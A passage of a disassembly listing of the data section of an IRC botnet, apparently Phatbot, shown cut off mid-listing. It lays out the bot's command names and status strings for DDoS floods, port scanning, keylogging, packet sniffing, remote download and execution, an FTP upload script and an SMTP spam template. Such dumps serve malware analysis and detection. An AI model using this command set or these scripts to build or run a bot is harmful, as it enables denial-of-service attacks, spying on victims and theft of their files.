		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D48	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D64	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429D80	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429D88	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DA4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DB8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DC0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429DFC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429E98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429ECC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429EE4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F08	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F50	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429F8C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FC4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_429FE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A070	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A07C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A110	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A13C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A178	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1A8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A1E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A248	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A2EC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A32C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A358	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A434	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A440	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A47C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A504	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A5D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A674	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A69C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A6DC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A714	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A75C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A790	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A850	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A888	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A8D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A908	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A940	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9CC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437F88o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB08	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB44	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42AB8C	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C40o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C50o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD38	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_42ADAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42ADCC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE34	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42AE60	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AE9C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AED8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42AEFC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42AF1C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF48	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AF94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFB4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42AFEC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B020	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B04C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B074	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B120	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B150	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
